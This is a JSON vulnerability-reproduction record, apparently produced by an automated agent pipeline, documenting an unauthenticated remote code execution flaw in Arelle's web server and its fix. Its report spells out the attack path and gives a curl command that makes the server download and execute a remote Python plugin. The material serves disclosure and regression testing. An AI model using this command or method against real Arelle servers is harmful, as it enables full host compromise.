{"repro_id":"REPRO-2026-00160","version":13,"title":"Arelle: unauthenticated RCE via /rest/configure plugins URL parameter","repro_type":"security","status":"published","severity":"critical","description":"Arelle's built-in web server exposes an endpoint `/rest/configure?plugins=URL`\nthat forwards the attacker-supplied URL to the plugin manager. The plugin\nmanager downloads the file at that URL and loads it as a Python plugin\nin-process — with **no authentication** and **no allowlist** on the URL\nscheme or origin.\n\nAny attacker who can reach the Arelle web server can therefore run arbitrary\nPython code in the Arelle process: unauthenticated remote code execution.","root_cause":"# RCA Report: CVE-2026-42796 — Arelle Unauthenticated RCE via Plugin URL Parameter\n\n## Summary\n\nArelle's built-in web server exposes `/rest/configure` and `/rest/xbrl/validation` endpoints that accept a `plugins` query parameter. In versions prior to 2.39.10, this parameter was forwarded directly to the plugin manager without validation, allowing an attacker to supply an arbitrary HTTP(S) URL pointing to a Python file. Arelle would download the file and, when the plugin defined certain hooks (e.g., `CntlrCmdLine.Utility.Run`), execute its top-level Python code in-process. This constitutes unauthenticated remote code execution (RCE) against any reachable Arelle web server instance.\n\n## Impact\n\n- **Package/Component**: `arelle-release` (PyPI) / Arelle XBRL platform\n- **Affected Versions**: `< 2.39.10`\n- **Fixed Version**: `2.39.10`\n- **Risk Level**: Critical — CVSS 3.1 base 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n- **Consequences**: Any network-reachable Arelle web server can be compelled to download and execute attacker-controlled Python code, leading to full host compromise.\n\n## Root Cause\n\nThe root cause is a missing allowlist/validation on the `plugins` parameter in the web server request handlers (`arelle/CntlrWebMain.py`). Before the fix:\n\n```python\nif request.query.plugins:\n    options.plugins = request.query.plugins\n```\n\nThe value was passed verbatim to `CntlrCmdLine.run()`, which splits it by `|` and calls `PluginManager.addPluginModule()` for each entry. `addPluginModule()` resolves the string through the web cache (`WebCache.getfilename`), downloading remote URLs to a local cache file. The module is then parsed for `__pluginInfo__` and, if it declares a hook that the runtime later requests (e.g., `CntlrCmdLine.Utility.Run`), `PluginManager.loadModule()` imports and executes the file via `importlib.util.spec_from_file_location` + `exec_module`.\n\nThe fix (PR #2320, commits `4fed726`, `736f77b`, `b43437a`) adds a `_rejectRemotePlugins()` helper that matches each plugin reference against the regex `^[a-zA-Z][a-zA-Z0-9+\\-.]*://`. If any reference is a URL scheme, the web server raises an `HTTPResponse(status=400)` before the value ever reaches the plugin manager. The fix also adds a startup warning about the webserver's security posture.\n\n## Reproduction Steps\n\nThe reproduction is fully automated in `repro/reproduction_steps.sh`. The script:\n\n1. Creates two isolated Python virtualenvs and installs `arelle-release==2.39.9` (vulnerable) and `2.39.10` (fixed).\n2. Writes a malicious plugin `evil_plugin.py` that writes a sentinel file (`/tmp/arelle_pwned`) at module import time and declares `CntlrCmdLine.Utility.Run` to ensure `loadModule` / `exec_module` is triggered.\n3. Serves the plugin via `python3 -m http.server`.\n4. Starts the Arelle webserver (`arelleCmdLine --webserver localhost:PORT`).\n5. Sends `curl \"http://127.0.0.1:PORT/rest/configure?plugins=http://127.0.0.1:PLUGIN_PORT/evil_plugin.py\"`.\n6. Captures the HTTP response code and checks for the sentinel file.\n7. Repeats steps 3–6 with the fixed version.\n\n### Expected Evidence\n\n- **Vulnerable (2.39.9)**: HTTP `200` and sentinel file `/tmp/arelle_pwned` is created, proving the remote plugin was downloaded, imported, and executed.\n- **Fixed (2.39.10)**: HTTP `400` with body `Remote URL plug-in references are not permitted via the webserver: ...` and no sentinel file, proving the guard blocks the attack.\n\n## Evidence\n\nCaptured logs are written to `$ROOT/logs/`:\n\n- `logs/vuln_response.txt` — Arelle 2.39.9 HTML response showing plugin activation success.\n- `logs/vuln_http_code.txt` — `vuln HTTP code: 200`\n- `logs/fixed_response.txt` — Arelle 2.39.10 plain-text rejection message.\n- `logs/fixed_http_code.txt` — `fixed HTTP code: 400`\n- `logs/result.txt` — Combined pass/fail verdicts.\n\n### Key Excerpts\n\nVulnerable run output:\n```\nvuln HTTP code: 200\nvuln: CONFIRMED - sentinel file created (RCE executed)\n```\n\nFixed run output:\n```\nfixed HTTP code: 400\nfixed: CONFIRMED - request rejected with 400, no RCE\n```\n\n## Recommendations / Next Steps\n\n1. **Upgrade immediately** to `arelle-release >= 2.39.10` (or any build containing PR #2320).\n2. **Do not expose** the Arelle web server to untrusted networks. Even with the fix, the web server performs no authentication and can read local files.\n3. **Regression test** by running the reproduction script against any new release to ensure the guard is not inadvertently removed.\n4. **Consider additional hardening** such as binding the web server to `127.0.0.1` only and placing it behind an authenticated reverse proxy.\n\n## Additional Notes\n\n- **Idempotency**: The reproduction script was executed twice consecutively and produced identical results on both runs.\n- **Edge Cases**: The fix also rejects prefixed entries (e.g., `+http://...`, `-http://...`, `~http://...`) and pipe-separated lists where any component is a remote URL. The regex correctly allows local filesystem paths and pip-installed entry-point names.\n- **Limitations**: The reproduction targets the `/rest/configure` endpoint because it is the simplest trigger path; the same guard also protects `/rest/xbrl/validation` and other endpoints that accept `plugins`.\n","cve_id":"CVE-2026-42796","source_url":"https://github.com/Arelle/Arelle","package":{"name":"arelle","ecosystem":"pip","affected_versions":"< 2.39.10","fixed_version":"2.39.10","tested_patched":"2.39.10"},"reproduced_at":"2026-05-23T07:02:55.813395+00:00","duration_secs":2898.564164876938,"tool_calls":304,"turns":258,"handoffs":3,"total_cost_usd":2.7255450200000007,"agent_costs":{"repro":1.1100279399999993,"support":0.02531095,"vuln_variant":1.5902061299999997},"cost_breakdown":{"repro":{"accounts/fireworks/models/kimi-k2p6":1.1100279399999993},"support":{"accounts/fireworks/models/kimi-k2p6":0.02531095},"vuln_variant":{"accounts/fireworks/models/kimi-k2p6":1.5902061299999997}},"quality":{"idempotent_verified":false,"community_verifications":0},"published_at":"2026-05-23T07:02:57.798939+00:00","retracted":false,"artifacts":[{"path":"repro/rca_report.md","filename":"rca_report.md","size":5215,"category":"analysis"},{"path":"repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":4169,"category":"reproduction_script"},{"path":"vuln_variant/rca_report.md","filename":"rca_report.md","size":7264,"category":"analysis"},{"path":"vuln_variant/reproduction_steps.sh","filename":"reproduction_steps.sh","size":4555,"category":"reproduction_script"},{"path":"bundle/context.json","filename":"context.json","size":2845,"category":"other"},{"path":"bundle/metadata.json","filename":"metadata.json","size":600,"category":"other"},{"path":"bundle/ticket.md","filename":"ticket.md","size":3123,"category":"ticket"},{"path":"repro/validation_verdict.json","filename":"validation_verdict.json","size":989,"category":"other"},{"path":"repro/evil_plugin.py","filename":"evil_plugin.py","size":297,"category":"script"},{"path":"vuln_variant/root_cause_equivalence.json","filename":"root_cause_equivalence.json","size":1477,"category":"other"},{"path":"vuln_variant/patch_analysis.md","filename":"patch_analysis.md","size":4498,"category":"documentation"},{"path":"vuln_variant/variant_manifest.json","filename":"variant_manifest.json","size":2676,"category":"other"},{"path":"vuln_variant/runtime_manifest.json","filename":"runtime_manifest.json","size":1649,"category":"other"},{"path":"vuln_variant/validation_verdict.json","filename":"validation_verdict.json","size":2295,"category":"other"},{"path":"vuln_variant/source_identity.json","filename":"source_identity.json","size":671,"category":"other"},{"path":"logs/bypass_case_response.txt","filename":"bypass_case_response.txt","size":57,"category":"other"},{"path":"logs/fixed_validation_http_code.txt","filename":"fixed_validation_http_code.txt","size":32,"category":"other"},{"path":"logs/vuln_validation_http_code.txt","filename":"vuln_validation_http_code.txt","size":31,"category":"other"},{"path":"logs/vuln_configure_response.txt","filename":"vuln_configure_response.txt","size":1113,"category":"other"},{"path":"logs/result.txt","filename":"result.txt","size":484,"category":"other"},{"path":"logs/fixed_response.txt","filename":"fixed_response.txt","size":104,"category":"other"},{"path":"logs/bypass_file_response.txt","filename":"bypass_file_response.txt","size":104,"category":"other"},{"path":"logs/vuln_http_code.txt","filename":"vuln_http_code.txt","size":20,"category":"other"},{"path":"logs/bypass_file_http_code.txt","filename":"bypass_file_http_code.txt","size":27,"category":"other"},{"path":"logs/variant_result.txt","filename":"variant_result.txt","size":1351,"category":"other"},{"path":"logs/bypass_case_http_code.txt","filename":"bypass_case_http_code.txt","size":27,"category":"other"},{"path":"logs/vuln_validation_response.txt","filename":"vuln_validation_response.txt","size":717,"category":"other"},{"path":"logs/vuln_response.txt","filename":"vuln_response.txt","size":1113,"category":"other"},{"path":"logs/fixed_http_code.txt","filename":"fixed_http_code.txt","size":21,"category":"other"},{"path":"logs/fixed_configure_response.txt","filename":"fixed_configure_response.txt","size":104,"category":"other"},{"path":"logs/fixed_validation_response.txt","filename":"fixed_validation_response.txt","size":104,"category":"other"},{"path":"logs/fixed_configure_http_code.txt","filename":"fixed_configure_http_code.txt","size":31,"category":"other"},{"path":"logs/vuln_configure_http_code.txt","filename":"vuln_configure_http_code.txt","size":30,"category":"other"},{"path":"bundle/test/probe.txt","filename":"probe.txt","size":5,"category":"other"},{"path":"bundle/repro/probe2.txt","filename":"probe2.txt","size":7,"category":"other"}]}